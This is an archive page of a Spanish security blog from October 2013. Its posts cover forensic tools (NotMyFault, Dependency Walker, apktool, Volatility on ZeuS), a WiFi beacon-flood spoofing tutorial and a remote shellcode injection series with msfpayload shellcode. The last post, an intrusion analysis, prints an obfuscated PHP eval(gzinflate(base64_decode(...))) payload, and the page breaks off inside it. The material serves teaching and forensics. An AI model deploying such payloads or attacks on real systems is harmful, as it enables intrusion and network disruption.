jueves, 31 de octubre de 2013

Herramientas forense para ser un buen CSI. Parte XXXIX: BSOD con Not MyFault

Compartir este artículo:
Buenas a todos, muchas son las tan amadas "Blue Screen of Death" (BSOD) que os hemos mostrado a lo largo de los últimos años en nuestra cadena "Pantalla Pública", pero en el post de hoy no venimos a jactarnos de ellas sino que veremos cómo forzarlas con la intención lícita de volcar la memoria RAM durante un análisis forense.
Para esta curiosa tarea vamos a emplear una herramienta de Sysinternals: NotMyFault, la cual podéis descargar desde el siguiente enlace:
Con NotMyFaul podremos simular un error a través de un driver provocando un volcado completo de la memoria.Una vez descargada veremos dos versiones de la herramienta en función de nuestra arquitectura (32 ó 64 bits), si la ejecutamos nos encontraremos con la siguiente pantalla:En ella podremos seleccionar el tipo de error que nos gustaría simular.Además, podremos seleccionar el color del texto y del fondo, por si ya nos hemos cansado de los tan típicos pantallazos azules, y preferimos disfrutar de un color nuevo: Yo cómo soy un amante de los clásicos, seguiré con el color azul :)Una vez seleccionados los valores adecuados pulsaremos sobre el botón "Crash", y arrancará el apocalipsis en tu PC: Y en la pantalla, si aún no hemos sido cegados por el fondo azulado, veremos como se está dumpeando la memoria RAM del equipo:
A problem has been detected and windows has been shut down to prevent damageto your computer.DRIVERS_IRQL_NOT_LESS_OR_EQUAL...Dumping physical memory to disk: 100
Ahora, con el equipo apagado y para no alterar las pruebas, podremos clonar el disco duro bit-a-bit y analizar posteriormente en la imagen del disco el fichero %systemroot%\MEMORY.DMP.Para analizarlo podéis tirar de Volatility, del que ya os hemos hablado largo y tendido en Flu Project :)
Nos vemos en el siguiente post,
Saludos!  

miércoles, 30 de octubre de 2013

Análisis estático de binarios con Dependency walker

Compartir este artículo:

Buenas a todos, en posts anteriores ya os hemos hablado acerca del análisis estático de binarios con herramientas como peframe. En el post de hoy veremos otra aplicación que nos será de gran utilidad para analizar binarios, Dependency Walker.

Se trata de una herramienta gratuita que nos permitirá analizar exe, dll, ocx y sys, entre otros, tanto de 32 como de 64 bits, y que nos mostrará un diagrama en forma de árbol donde podremos enumerar fácilmente sus dependencias.

 

Para cada módulo encontrado, DW lista las funciones que exporta, trazándolas con las de otros módulos.

DW suele ser utilizado para solucionar problemas de dependencias, con el fin de averiguar qué librería falta para poder ejecutar un determinado programa, pero en el mundo de la seguridad, y en concreto en el del análisis de malware suele ser muy utilizada para estudiar las funcionalidades de una aplicación maliciosa.

Por ejemplo, en la siguiente captura puede verse como el ejecutable "Flu.exe" hace uso de "WSOCK32.DLL", y que es utilizada para abrir una comunicación de la máquina infectada hacia el panel de control de la botnet.

Sin duda otra herramienta para agregar a vuestro kit de utilidades.

Saludos!

martes, 29 de octubre de 2013

Herramientas forense para ser un buen CSI. Parte XXXVIII:AndroidManifest.xml

Compartir este artículo:
Buenas a todos, en el post de hoy de Herramientas Forense para ser un buen CSI vamos a hablar del archivo AndroidManifiest.xml, de su importancia en el sistema operativo Android, y sobretodo de cómo podemos visualizarlo a la hora de realizar un análisis forense de un programa en formato APK que podamos haber localizado durante nuestra investigación.El Android Manifiest es la base de cualquier aplicación Android, y se encuentra en el archivo AndroidManifest.xml que se encuentra alojado en la raíz de cualquier proyecto Android. En él se declara todo lo que se encuentre dentro de la aplicación:
  • actividades
  • servicios
  • etc
Al crear un proyecto de Android por primera vez se obtiene un archivo Androidmanifest.xml básico que abarca los elementos base de una aplicación, pero según aumenten las funcionalidades de la herramienta, este archivo irá creciendo con nuevas declaraciones.
Dentro del manifiest encontraremos:
  • uses-permission: Dónde se declaran los permisos que necesitará nuestra aplicación para funcionar (GPS, etc.).
  • permission: Dónde se declaran los permisos que las actividades o servicios necesitan.
  • instrumentation: Indica el código que deberá ser invocado cuando un evento clave del sistema sea llamado por el usuario.
  • application: Define el nombre, actividad principal, icono, etc. de la aplicación.
Para poder instalar una aplicación en un terminal con Android, deberemos aceptar los permisos solicitados por el AndroidManifiest.xml:
  • Información personal (calendario, contactos, …)
  • Información del dispositivo (Datos de red, SMS, ..)
  • etc.
Y sino son aceptados, la aplicación no podrá ser instalada.Si descomprimimos un fichero APK (que no deja de ser un archivo comprimido), nos encontraremos además del AndroidManifest.xml, con los siguientes archivos:
  • classes.dex
  • resources.arsc
  • res (carpeta)
  • META-INF (carpeta)
  • lib (carpeta)
Bien, si intentamos abrir el Manifiest, veremos que toda la información se encuentra codificada.Por suerte para nuestro trabajo, contamos con alguna que otra utilidad que nos permitirá de una manera rápida decodificar el archivo manifiest de Android. Una de ellas es Apktool:
Su uso es muy sencillo, una vez descargada la herramienta del enlace anterior, copiaremos el archivo .apk en el PC y ejecutaremos la siguiente instrucción:
apktool d NombreApp.apk ./RutaDeSalida
Por ejemplo, yo decompilaré un apk malicioso que se hacía pasar por una app lícita de Facebook:
apktool.bat d facebook.apk facebook
Y en pocos segundos tendremos nuestro Androidmanifiest.xml en texto plano:
Como veis, nuestra aplicación "falsa" de Facebook nos solicitaba acceso al estado de la WIFI, historial de llamadas, contactos, etc. Algo un poco turbio ¿verdad?
En posteriores artículos de la cadena seguiremos hablando de las aplicaciones de Android
Saludos!

lunes, 28 de octubre de 2013

My INTECO & Update Be Strong!

Compartir este artículo:
La semana pasada tuve el placer de participar en mi primer ENISE en León, séptimo que se realiza. La idea para la que me invitaron fue ir a realizar un debate sobre la ciberdelincuencia. ¿Un debate? Sí, y la experiencia no me defraudó lo más mínimo, INTECO se portó genial conmigo y doy gracias a todas las personas que hicieron que ese congreso saliera así. Tuve el placer de compartir mesa con grandes como José Selvi, Dabo o Lord Epsylon. El debate fue intenso, en algunos momentos cómico, y sobretodo lleno de ideas, de exposiciones, de sentimientos. Creo que si algo nos pedían es que diéramos un toque diferente a todo lo vivido en el congreso, y creo que la gente no quedó defraudada.
Una vez hecho la exposición de lo que fueron mis 24 horas en León, no pisé mucho el barrio húmedo, voy a mostraros una campaña que han lanzado desde INTECO, Update, be strong. Esta campaña ha sido impulsada por INTECO junto con la Secretaría de Estado de Telecomunicaciones y para la Sociedad de la Información (SETSI).
Podéis acceder a la información en la siguiente URL www.updatebestrong.es y updatebestrong.inteco.es. El video, el cual es una pasada, refleja la competencia entre ciberamenazas, ¿Por qué le ponemos a todo el ciber delante?, que los internautas sufrimos cada día. El mensaje es claro, apela a la responsabilidad de todos como usuarios para adoptar las medidas pertinentes. El objetivo al final es una red más segura.
Según me mandaba, mi querida Elena la cual se ha portado genial para que todo estuviera bien, cito:
Esta campaña es una de las acciones con la que INTECO se ha adherido al Mes Europeo de la Ciberseguridad (http://cybersecuritymonth.eu/), una iniciativa que se celebra en octubre en todo el continente promovido por la Agencia Europea de Seguridad de las Redes y de la Información (ENISA). Bajo el lema «La seguridad en internet requiere la participación de todos», persigue fomentar la concienciación en ciberseguridad entre los ciudadanos, modificar su percepción sobre las ciberamenazas y proporcionar información actualizada sobre seguridad  a través de educación, buenas prácticas y concursos.
Me gusta el lema que usan: "En el último año millones de internautas en todo el mundo han sido víctimas del malware, muchos no lo saben". Real como la vida misma. Saludos!P.D. Para levantar alguna envidia os dejo esto: http://www.parador.es/es/parador-de-leon (Vista recomendada)



domingo, 27 de octubre de 2013

Informe Flu – 147

Compartir este artículo:

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 21 de Octubre

Martes 22 de Octubre

Miércoles 23 de Octubre

  • El miércoles publicamos la tercera parte de Remote Shellcode Injection (Parte III), donde os enseñamos a ejecutar distintas shellcodes a través del sistema que hemos desarrollado en anteriores entregas de la cadena.

Jueves 24 de Octubre

Viernes 25 de Octubre
 Saludos!

viernes, 25 de octubre de 2013

Jornada de Seguridad en Internet en la Puebla de Almoradiel

Compartir este artículo:
Buenas a todos, hace ya algunas semanas que recibí una llamada de Angelucho, de esas que cual canción del Reno Renardo amenazan con hacer algo a lo que no podrás decir que no. El tono de su voz en esa llamada lo decía todo, y me era bastante familiar. Con ese tono tan característico comenzó otra conversación que acabó en... www.x1redmassegura.com. Nada que no sepáis ya.
En esta ocasión Ángel me propuso colaborar en otra gran causa que estaba moviendo nuestro amigo Longinos por su tierra, La Puebla de Almoradiel (Toledo). Como últimamente digo cuando me proponen dar alguna charla, "lo consultaré con mi agenda" le respondí, y casualmente dieron con uno de los pocos fines de semana que podía escaparme de Madrid sin problemas, por lo que accedí a dar una charla conjunta con Angelucho al estilo de la que impartimos en las Jornadas de Prevención y Seguridad en Internet de Elche el pasado mes de Febrero. Al final por H o por B, y como siempre nos acaba pasando, la cosa se fue de las manos... y Longinos y Angelucho lograron liar a Josep Albors y a Blanca Tulleuda también, llenando así toda una mañana de charlas en las que serán, las primeras Jornadas de Seguridad en Internet de esa bella tierra manchega. Por lo que nos iremos hasta la Puebla de Almoradiel para impartir una serie de charlas de concienciación para que los habitantes de la Puebla y de otras localidades cercanas aprendan trucos y consejos para sentirse más seguros en Internet.
El evento se celebrará el Sábado 16 de Noviembre del 2013. A continuación os dejo la agenda final:
9:00 (Llegada de asistentes)9:15 (Presentación)9:30
  • Ponente:  Juan Antonio Calles.
  • Duración: 40 minutos.
  • Título: Claves para una navegación segura.
  • Descripción: Durante la ponencia se analizarán algunas de las claves más importantes para navegar seguro en Internet, a través de ejemplos y con varias experiencias de casos reales.
10:15
  • Ponente:  Josep Albors.
  • Duración: 40 minutos.
  • Título: Ordenador infectado. Beneficio asegurado.
  • Descripción: A pesar de que se ha ido concienciando a los usuarios sobre lo peligrosas que son las amenazas informáticas, aun hay mucha gente que no se preocupa en proteger sus sistemas porque no consideran que sean un objetivo lo suficientemente atractivo para los cibercriminales. En esta charla veremos que se puede hacer con un ordenador infectado, sin importar que se trate de una multinacional o de un usuario medio para que nos concienciemos de una vez de que se pueden obtener muchos y valiosos datos y recursos hasta del ordenador considerado como más insignificante.
11:00 (Descanso y desayuno)11:25
  • Ponente: Ángel Pablo Avilés.
  • Duración: 50 minutos.
  • Título: Menores y su cibermundo.
  • Descripción:
    • Nociones generales sobre Internet y los menores.
    • Bondades y Virtudes de la red en su cibermundo.
    • Peligros que les acechan y como identificarlos.
    • El Ciberacoso en el ámbito escolar (Ciberbullying, sexting, ciberbaiting)
    • El Grooming ( Fases y consecuencias)
    • Perfil de un ciberdepredador
12:20
  • Ponente: Las tres hermanas.
  • Duración: 20 minutos.
  • Título: Internet #Diver-Útil.
  • Descripción: En esta charla veremos un recorrido sobre para qué usan internet en cada edad: 7 años, 10 años, 12 años que van desde lo básico de cuando aprenden a leer / escribir a redes sociales. Y ver con casos reales lo más habitual que ellos mismos se encuentran.
12:45
  • Ponente: Blanca Tulleuda.
  • Duración: 40 minutos.
  • Título: Soy feo, fuerte y formal.
  • Descripción: El concepto de familia es actualmente amplio y no existe escuela de cómo educar a nuestros hijos en esta nueva sociedad donde el estrés, la globalización, y la rutina pueden hacernos perder el foco sobre el por qué, cuándo y cómo usan y se enfrentan al mundo digital y virtual nuestros pequeños. Debemos fortalecer el compromiso como familia con la escuela y la sociedad también en lo relativo al uso de las nuevas tecnologías. Y nunca parar de esforzarnos por aprender esto que para nosotros es solo una herramienta en un ordenador, y que para ellos es su forma de vida: viven conectados. Nuestra experiencia vital como adultos les ayudará a conocer y evitar caer en los peligros de la Red que les acechan constantemente. Y que lo evitemos garantizara que le saquen el mayor provecho de uno de los mayores “inventos” de la historia de la humanidad. Recorramos este camino en una breve charla.
13:30 (Turno de preguntas)14:00 (Fin de la Jornada)
Si queréis conocer más datos os remito a la web oficial del evento http://internetmassegura.es/Me gustaría aprovechar el post también para felicitar a Angelucho por el tan merecido premio Héroe Digital que recibió el pasado miércoles, un abrazo de todo el equipo de Flu Project.Saludos

jueves, 24 de octubre de 2013

Hacking Wifi - Parte I – Introducción y Beacon Frames

Compartir este artículo:
Las redes Wi-Fi son muy peligrosas porque son redes que no puedes ver físicamente, es decir, no puedes poner protecciones físicas como sí puedes hacer con una red cableada. Además las redes Wi-Fi atraviesan las paredes con lo que deja de estar a tu alcance y es complicado localizar a un atacante si no puedes verle físicamente. Los ataques pasivos, como capturar el tráfico de la red es prácticamente indetectable y se pueden hacer desde muy lejos.
Para hacer las pruebas os recomiendo la tarjeta Alfa Networks AWUS036h. En Kali ya trae sus drivers instalados y es capaz de inyectar paquetes.
Vamos a ver que capturar paquetes wireless es un arte. El concepto es muy similar al de capturar en una red cableada, la diferencia es que aquí se pone la interfaz de red en modo monitor (igual que cuando capturamos en red cableada ponemos la interfaz en modo promiscuo) para poder aceptar todo el tráfico, y no solo los paquetes en los que seamos nosotros el destinatario.
Esto lo haremos con la herramienta Airmon-NG de la suite Aircrack-NG. Si utilizamos una interfaz de red externa como la que he recomendado, a lo mejor hay que levantarla a mano. Para ello primero listaremos todas las interfaces, caidas y levantadas:
# ifconfig -a
Y despues veremos las interfaces levantadas:
# ifconfig
Si aparece la primera vez, y no en la segunda, quiere decir que está caida y tendremos que levantarla de la siguiente forma:
# ifconfig wlan0 up
Ahora tenemos que crear una interfaz en modo monitor encima de nuestra inferfaz de red Wi-Fi que vayamos a utilizar, en nuestro caso wlan0.
# airmon-ng start wlan0
Podemos comprobar que se ha creado con
# iwconfig
Donde verás que en el campo “modo” pone “Monitor”.
Ahora abriremos Wireshark y capturaremos con la interfaz “mon0″ que es la que se nos ha creado en modo monitor. Podemos ver los paquetes del protocolo 802.11.

Capturar paquetes Wi-Fi (802.11) es más complicado de lo que parece. En las redes Wi-Fi se puede transmitir en 3 frecuencias distitnas:
- 2.4GHz (802.11b/g/n)- 3.6GHz (802.11y)- 4.9/5.0GHz (802.11a/h/j/n)
Cada una de estas frecuencias se divide en canales (cada canal es una frecuencia especifica dentro del rango correspondiente). Cada país tiene una lista de canales permitidos, quienes pueden usar estos canales y la máxima potencia con la que puedes transmitir. En esta foto podéis ver algunos de los canales que se usan en España. Hay países en los que es legal y otros en los que está prohibido utilizar determinados canales.

Las tarjetas de red vienen configuradas siguiendo esta normativa, pero hay tarjetas que se pueden cambiarse }:).
Recordar que una tarjeta de red solo puede capturar en una banda (2.4 , 3.6 ó 5) y un canal a la vez. En la práctica que vamos a hacer vamos a ir cambiando de un canal a otro de una forma automática.
Primero vamos a cambiar de canal nuestra tarjeta de red:
# iwconfig wlan0 channel 1
# iwconfig mon0 channel 1
Nos hemos cambiado al canal 1, y si vemos la configuración de la interfaz de red con “iwconfig” podemos ver como ha cambiado el valor de la frecuencia en la que estamos y ahora aparece 2.412 que como podemos ver en la tabla anterior corresponda al canal 1.
Ahora vamos a empezar utilizar la herramienta Airodump-NG para capturar el trafico e ir saltando por todos los canales. Por defecto la herramienta trabaja en los canales de la frecuencia 2.4Ghz aunque podemos configurarla para capturar en otras frecuencias y otros canales.
Ahora vamos a ver todos los puntos de acceso que hay emitiendo, estos están situados en la parte de arriba. También veremos todos los dispositivos cliente que hay por la red en la parte de abajo.
# airodump-ng mon0

Los paquetes que estamos analizando, del tipo 802.11, se dividen en 3 tipos de paquetes:
- Management- Control- Data

Cada uno de estos tipos tiene a su vez subtipos como veis en la foto. En este y los sucesivos post nos centraremos solo en los paquetes relacionados con la seguridad y el hacking.
Cada punto de acceso tiene configurado un ESSID,  para poder ser reconocido por los dispositivos clientes que se quieran conectar a él. El punto de acceso emite Beacons Frames para anunciar su presencia y que todos los clientes sepan que hay un punto de acceso disponiblei.
Ahora vamos a ver estos Beacons Frames. Arrancaremos Wireshark y pondremos a capturar en la interfaz mon0. Podemos ver mucho tráfico. En la columna Info podemos ver como algunos de estos paquetes son Beacon Frames. Seleccionamos uno de ellos y nos vamos a la ventana de en medio del Wireshark, donde nos desgrana el paquete dividiendolo en capas y cada una de ellas en sus campos correspondientes. Seleccionamos la pestaña IEEE 802.11 Beacon Frame. Y podemos ver como el subtipo de paquete es 8, y si vamos a la tabla anterior podemos ver que el tipo 8 (1000 en binario) corresponde a un paquete de tipo Beacon.

Nos damos cuenta de que toda la información de este paquete va en texto plano, es decir, no va cifrada. Esto permitirá a un atacante crearse paquetes de este tipo, Beacons Frames. Con lo cual cualquiera podrá inyectar este tipo de paquetes y con esto conseguir que todos los dispositivos que haya por la zona crean que hay un nuevo punto de acceso.
Pues vamos a realizar la prueba. Esto lo haremos con la herramienta MDK3 de Kali. Utilizaremos la opción de “Beacon Flood Mode” (b) para inyectar paquetes del tipo Beacon Frames en todos los canales provocando confusión en los dispositivos cliente de la zona. Con la opción –n elegiremos el nombre de la red que en este caso será “Pwneado!”

Hemos simulado la existencia de una red llamada Pwneado! 
¿Que conclusiones podemos sacar de esta pequeña prueba de concepto?
- Que podemos hacer Spoofing de los paquetes.
- Que las cabeceras de los paquetes de Management y Control van en texto plano y no tienen ningún tipo de cifrado o protección.
Si quisiésemos hacer algo similar en una red cableada el atacante debería de estar dentro de esa red, pero la diferencia es que aquí el atacante no tiene que estar dentro de ninguna red.
Más adelante vamos a ver cómo sacar beneficio de esto, forzando a un cliente que se conecte a ti y no al punto de acceso legitimo.

Artículo cortesía de: Roberto Lopez - @leurian

 

miércoles, 23 de octubre de 2013

Remote Shellcode Injection (Parte III)

Compartir este artículo:

Buenas a todos, en el post de hoy vamos a continuar la cadena Remote Shellcode Injection probando nuestro cliente y servidor, que ya finalizamos en la última entrega de la cadena.

El primer paso será ejecutar el cliente que acabamos de programar. Una vez ejecutado permanecerá a la espera de que el servidor sea arrancado y le envíe la primera petición:

A continuación iniciaremos el servidor y comenzará la comunicación:

Si todo ha ido correctamente aparecerá en la máquina donde se ejecutaba el servidor un mensaje informativo con el texto "Hola", que se encontraba encodeado dentro de nuestra shellcode de ejemplo:

Ahora vamos a generar con msfpayload una shellcode con el texto que queramos:
/* * windows/messagebox - 271 bytes * http://www.metasploit.com * VERBOSE=false, EXITFUNC=process, TITLE=FluProject,  * TEXT=FluProjectRules!, ICON=INFORMATION */unsigned char buf[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b""\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b""\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24""\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a""\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0""\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c""\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a""\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2""\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f""\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52""\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33""\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56""\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52""\xe8\x61\xff\xff\xff\x68\x63\x74\x58\x20\x68\x72\x6f\x6a\x65""\x68\x46\x6c\x75\x50\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58""\x20\x20\x20\x68\x6c\x65\x73\x21\x68\x63\x74\x52\x75\x68\x72""\x6f\x6a\x65\x68\x46\x6c\x75\x50\x31\xc9\x88\x4c\x24\x10\x89""\xe1\x31\xd2\x6a\x40\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55""\x08";
Una vez que ya la tenemos generada, la añadimos a la variable "sc", tal y como vimos en artículos anteriores:

 Si compilamos, e iniciamos de nuevo nuestro cliente y servidor, veremos como ahora en la máquina aparece un mensaje con el texto "FluProjectRules!" :)

Con este sencillo ejemplo de hoy ya sabéis como modificar el programa para ejecutar cualquier tipo de shellcode. En próximos artículos haremos uso de shellcodes más curiosas para hacer nuevas cosas sobre la máquina que la ejecutemos.

Saludos!

martes, 22 de octubre de 2013

Mañana tendrá lugar el ESET Security Forum II y la entrega de los premios Heroes Digitales

Compartir este artículo:
Buenas a todos, como algunos ya sabréis, mañana tendrá lugar el evento ESET Security Forum II.
Ya tuvimos el placer de participar en la primera edición de este evento, en el que se reúnen profesionales del mundo de la seguridad de la información y de las nuevas tecnologías para debatir sobre temas de seguridad recientes que están en boca de todos.
Esta será la agenda del evento:
  • 18:00: Recepción y acreditación de invitados
  • 18:30-19:00: Rueda de prensa
  • 19:30-20:30: ESET Security Forum 1ª parte
  • 20:30-21:00: Break con jamoncito, bebidas y otras viandas
  • 21:00-22:00: ESET Security Forum 2ª parte
  • 22:00-23:00: Cóctail-cena y entrega de los premios a los Héroes Digitales
  • 23:00-hasta que el cuerpo aguante: barra libre, copas y networking
Junto con el evento, y como veis en la agenda, tendrá lugar también la entrega de los premios Heroes Digitales
A continuación os enumeramos las candidaturas más votadas en los premios:
  • Héroe Digital Anónimo
    • Bajo la red
    • 1 Gb de información
    • Forospyware
  • Héroe Digital Institucional
    •  Oficina de Seguridad del Internauta INTECO
    •  Dirección General de la Guardia Civil
    •  Cibercentro de Tudela
  • Héroe Digital de los Cuerpos de Seguridad
    •  Foro de la Guardia Civil
    •  Puesto principal Guardia Civil de Illescas
    •  Grupo de Delitos Telemáticos de la Guardia Civil
  • Héroe Digital Periodístico
    •  Ventanas a la Red Radio3W
    •  Revista Red Seguridad
    •  Hoja de Reuter empatada con El País Tecnología
  • Héroe Digital Bloguero
    •  El blog de Angelucho
    •  Seguridad informática a lo Jabalí
    •  SecuritybyDefault
  • Héroe Digital a la mejor iniciativa educativa en seguridad
    •  Protégeles
    •  X una Red más segura
  • Héroe Digital en las redes sociales
    •  Foro de la Guardia Civil
    •  RootedCon
    • @infospyware
El evento y posterior fiesta se celebrará en OUIMAD Madrid (c/ Jorge Juan, 99).
¿Te lo vas a perder?
Saludos!

lunes, 21 de octubre de 2013

Volatility Framework: Old ZeuS Malware – MalwareCookBook (Parte II)

Compartir este artículo:

En el artículo anterior de Volatility Framework habíamos descubierto en EXE en el Userinit, el cual nos parecía sospechoso. Hay que recordar que encontramos un proceso svchost.exe sospechoso, y que también debemos analizar. Para ello utlizaremos el plugin de Volatility pstree, el cual nos permite saber rápidamente que procesos han creados otros, es decir, los PPID. Ejecutamos el plugin pstree y obtenemos la siguiente información:

En esta imagen se puede observar que el proceso svchost.exe sospechoso es creado por el PID 676, correspondiente a services.exe, y éste a su vez por winlogon.exe. En este punto sabemos, con lo visto en el anterior artículo y lo que hemos visto aquí, que el proceso winlogon.exe fue quién lanzó sdra64.exe, que el proceso 856 (svchost.exe) está conectado a Internet y sería interesante ver si el Firewall en la máquina se encuentra activado o no. Pero lo que vamos a hacer es bajar un plugin de volatility denominado malware.py, con el que podemos ver los hooks que tiene un proceso. En la siguiente imagen se puede visualizar como añadir malware.py a los plugins de volatility.

Al ejecutar la siguiente línea vol apihooks -f <file RAM dump> -p 856, obtenemos que el proceso dispone de dos hooks. A continuación podríamos utilizar el plugin malfind del propio Volatility para poder extraer información del proceso y verificar que no es una cabecera "normal". Vamos a ver que hay una inyección en dicho proceso. La sintaxis es la siguiente vol malfind -f <file RAM dump> -p 856 -D <dir dump>.

Analizando los volcados que nos devuelven podemos encontrar una imagen de una aplicación que no puede correr en modo DOS.

Por último, vamos a configurar mediante Yara y sus reglas que tipo de malware es el que hemos localizado en la captura de RAM. Tenemos que descargarnos las reglas de Yara. La sintaxis de la ejecución es sencilla vol malfind -f <file RAM dump> -p 856 -Y <dir Yara> -D <dir dump>. Gracias a Yara podemos detectar que el malware alojado es un Zbot. Os adjuntamos imagen del fichero de rules de Yara.

Hasta aquí el ejemplo práctico de Volatility Framework y un MalwareCookBook, seguiremos trabajando con Volatility para traeros nuevas pruebas de concepto, y que podáis montaros vuestro laboratorio.

domingo, 20 de octubre de 2013

Informe Flu – 146

Compartir este artículo:

Como cada semana compartimos con vosotros los “Enlaces de la semana”:

Lunes 14 de Octubre

Martes 15 de Octubre

Miércoles 16 de Octubre

Jueves 17 de Octubre

Viernes 18 de Octubre
Sábado 19 de OctubreSaludos!

sábado, 19 de octubre de 2013

El Rincón de HighSec: Análisis de una intrusión

Compartir este artículo:

Durante el proceso de recolección de información se descubrió que la Empresa-ejemplo sufrió un ataque informático no detectado por la organización.

Se encontró en un archivo de la página web, concretamente ubicado en la URL http://www.Empresa-ejemplo.es/index.html que contenía en su código fuente una línea de código extraña. En la tabla 1 se muestra

<?

 eval(gzinflate(base64_decode('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